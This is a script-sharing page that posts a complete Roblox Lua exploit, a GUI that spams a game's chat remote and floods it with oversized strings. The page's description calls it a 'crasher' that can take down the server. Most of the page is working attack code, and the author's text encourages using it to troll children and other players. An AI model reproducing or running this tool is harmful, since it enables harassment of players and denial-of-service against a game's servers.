Fake Chat Spammer etc
Key Required Patched

Fake Chat Spammer etc

office RKN[UPDATE]sillyPPsillyPP 725 views 14 executesUpdated Jan 15, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•253 lines (8165 chars)
-- you can paste this script e.t.c
-- fakeChat spammer + crasher (forever v1) 
-- made by ai and sillyPP with love  :))

local players = game:GetService("Players")
local player = players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")

local function disableBubbleChat(character)
    if character then
        local humanoid = character:WaitForChild("Humanoid", 5)
        if humanoid then
            pcall(function()
                humanoid:SetBubbleChatEnabled(false)
            end)
        end
    end
end

-- thing down and up here is useless bc fakechat using own fake bubblechat system :(
-- and i thought it will be LESS lags when you use crasher

if player.Character then
    disableBubbleChat(player.Character)
end

player.CharacterAdded:Connect(disableBubbleChat)

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "somethin test v1"
screenGui.ResetOnSpawn = false

local mainFrame = Instance.new("Frame")
mainFrame.Name = "main"
mainFrame.Size = UDim2.new(0, 320, 0, 280)
mainFrame.Position = UDim2.new(0.5, -160, 0.5, -140)
mainFrame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
mainFrame.BorderSizePixel = 0
mainFrame.Active = true
mainFrame.Draggable = true

local title = Instance.new("TextLabel")
title.Name = "title"
title.Size = UDim2.new(1, 0, 0, 30)
title.Position = UDim2.new(0, 0, 0, 0)
title.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
title.TextColor3 = Color3.fromRGB(220, 220, 220)
title.Text = "somethin test v1"
title.Font = Enum.Font.Gotham
title.TextSize = 14

local inputBox = Instance.new("TextBox")
inputBox.Name = "input"
inputBox.Size = UDim2.new(0.9, 0, 0, 40)
inputBox.Position = UDim2.new(0.05, 0, 0.15, 0)
inputBox.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
inputBox.TextColor3 = Color3.fromRGB(240, 240, 240)
inputBox.PlaceholderText = "message"
inputBox.Font = Enum.Font.Gotham
inputBox.TextSize = 14
inputBox.Text = ""

local toggleButton = Instance.new("TextButton")
toggleButton.Name = "toggle"
toggleButton.Size = UDim2.new(0.6, 0, 0, 30)
toggleButton.Position = UDim2.new(0.2, 0, 0.35, 0)
toggleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
toggleButton.TextColor3 = Color3.fromRGB(240, 240, 240)
toggleButton.Font = Enum.Font.Gotham
toggleButton.TextSize = 14
toggleButton.Text = "let's go"

local singleButton = Instance.new("TextButton")
singleButton.Name = "single"
singleButton.Size = UDim2.new(0.6, 0, 0, 30)
singleButton.Position = UDim2.new(0.2, 0, 0.5, 0)
singleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
singleButton.TextColor3 = Color3.fromRGB(240, 240, 240)
singleButton.Font = Enum.Font.Gotham
singleButton.TextSize = 14
singleButton.Text = "send text"

local crashButton = Instance.new("TextButton")
crashButton.Name = "crash"
crashButton.Size = UDim2.new(0.6, 0, 0, 30)
crashButton.Position = UDim2.new(0.2, 0, 0.65, 0)
crashButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
crashButton.TextColor3 = Color3.fromRGB(240, 240, 240)
crashButton.Font = Enum.Font.Gotham
crashButton.TextSize = 14
crashButton.Text = "crasher"

local counterLabel = Instance.new("TextLabel")
counterLabel.Name = "counter"
counterLabel.Size = UDim2.new(0.8, 0, 0, 25)
counterLabel.Position = UDim2.new(0.1, 0, 0.8, 0)
counterLabel.BackgroundTransparency = 1
counterLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
counterLabel.Font = Enum.Font.Gotham
counterLabel.TextSize = 14
counterLabel.Text = "sent: 0"

local resetButton = Instance.new("TextButton")
resetButton.Name = "reset"
resetButton.Size = UDim2.new(0.6, 0, 0, 30)
resetButton.Position = UDim2.new(0.2, 0, 0.9, 0)
resetButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
resetButton.TextColor3 = Color3.fromRGB(240, 240, 240)
resetButton.Font = Enum.Font.Gotham
resetButton.TextSize = 14
resetButton.Text = "clear"

title.Parent = mainFrame
inputBox.Parent = mainFrame
toggleButton.Parent = mainFrame
singleButton.Parent = mainFrame
crashButton.Parent = mainFrame
counterLabel.Parent = mainFrame
resetButton.Parent = mainFrame
mainFrame.Parent = screenGui
screenGui.Parent = playerGui

local remote = game:GetService("ReplicatedStorage"):WaitForChild("CustomChat"):WaitForChild("Remotes"):WaitForChild("SendChatMessage")
local messageText = game:GetService("ReplicatedStorage"):WaitForChild("CustomChat"):WaitForChild("Guis"):WaitForChild("MessageText")

local spamming = false
local crashing = false
local connection
local crashConnection
local sentCount = 0

local function sendMessage()
    if inputBox.Text ~= "" then
        remote:FireServer(inputBox.Text)
        messageText.Value = inputBox.Text
        sentCount = sentCount + 1
        counterLabel.Text = "sent: " .. tostring(sentCount)
    end
end

local function generateCrashMessage()
    local messages = {
        string.rep("█", 10000),
        string.rep("🆘", 5000),
        string.rep("\n", 2000) .. string.rep("CRASH", 500),
        string.rep(string.char(math.random(1, 255)), 10000),
        string.rep("​", 10000),
        string.rep("a", 10000),
        string.rep("🚫" .. "⚠️" .. "💥", 2000),
        string.rep("😈", 4000),
        string.rep("𐀀", 8000),
        string.rep("a\r\nb", 3000)
    }
    
    local combined = ""
    for i = 1, 5 do
        combined = combined .. messages[math.random(1, #messages)]
    end
    
    return combined
end

local function generateSpecialChars()
    local special = ""
    for i = 1, 1000 do
        special = special .. string.char(math.random(128, 255))
    end
    return special
end

toggleButton.MouseButton1Click:Connect(function()
    spamming = not spamming
    
    if spamming then
        toggleButton.BackgroundColor3 = Color3.fromRGB(80, 40, 40)
        toggleButton.Text = "stop"
        
        connection = game:GetService("RunService").Heartbeat:Connect(function()
            sendMessage()
        end)
    else
        toggleButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
        toggleButton.Text = "let's go"
        
        if connection then
            connection:Disconnect()
            connection = nil
        end
    end
end)

singleButton.MouseButton1Click:Connect(function()
    sendMessage()
end)

crashButton.MouseButton1Click:Connect(function()
    crashing = not crashing
    
    if crashing then
        crashButton.BackgroundColor3 = Color3.fromRGB(80, 40, 40)
        crashButton.Text = "stop crasher"
        
        crashConnection = game:GetService("RunService").Heartbeat:Connect(function()
            for i = 1, 10 do
                local crashMessage = generateCrashMessage()
                remote:FireServer(crashMessage)
                messageText.Value = crashMessage
                sentCount = sentCount + 1
                counterLabel.Text = "sent: " .. tostring(sentCount)
                
                local specialMessage = generateSpecialChars()
                remote:FireServer(specialMessage)
                messageText.Value = specialMessage
                sentCount = sentCount + 1
                counterLabel.Text = "sent: " .. tostring(sentCount)
                
                local maxLengthMessage = string.rep("X", 100000)
                remote:FireServer(maxLengthMessage)
                messageText.Value = maxLengthMessage
                sentCount = sentCount + 1
                counterLabel.Text = "sent: " .. tostring(sentCount)
            end
        end)
    else
        crashButton.BackgroundColor3 = Color3.fromRGB(60, 60, 60)
        crashButton.Text = "crasher"
        
        if crashConnection then
            crashConnection:Disconnect()
            crashConnection = nil
        end
    end
end)

resetButton.MouseButton1Click:Connect(function()
    sentCount = 0
    counterLabel.Text = "sent: 0"
end)

local closeButton = Instance.new("TextButton")
closeButton.Name = "close"
closeButton.Size = UDim2.new(0, 20, 0, 20)
closeButton.Position = UDim2.new(1, -25, 0, 5)
closeButton.BackgroundColor3 = Color3.fromRGB(200, 50, 50)
closeButton.TextColor3 = Color3.fromRGB(240, 240, 240)
closeButton.Font = Enum.Font.Gotham
closeButton.TextSize = 12
closeButton.Text = "X"
closeButton.Parent = mainFrame

closeButton.MouseButton1Click:Connect(function()
    screenGui:Destroy()
end)

Features & Information

hi im there and im gonna give you a shitty script for a shitty game with fakechat !1!! i made a spammer and crasher for this maybe hangout game. i was thinking for using this for my own but.. i thinked to release this script here ye on days i was seeking for fakechat place's and i found one.. PACTHED BC GAME GOT DELETED FOR FAKE CHAT XD lol this game have so stupid FakeChat system that u can from 1 remote do anything in fakeChat AND YOU CAN EVEN CRASH THE SERVER WITH PING!! LMAO ALSO counter is pretty useless.. ye u can remove him from the script use this to troll kids and ragebaiter's ALSOO thank's for 1k views!!
#crasher#fakechat#spammer

Community Comments (0)

No comments yet for this script.

More Scripts for office RKN[UPDATE]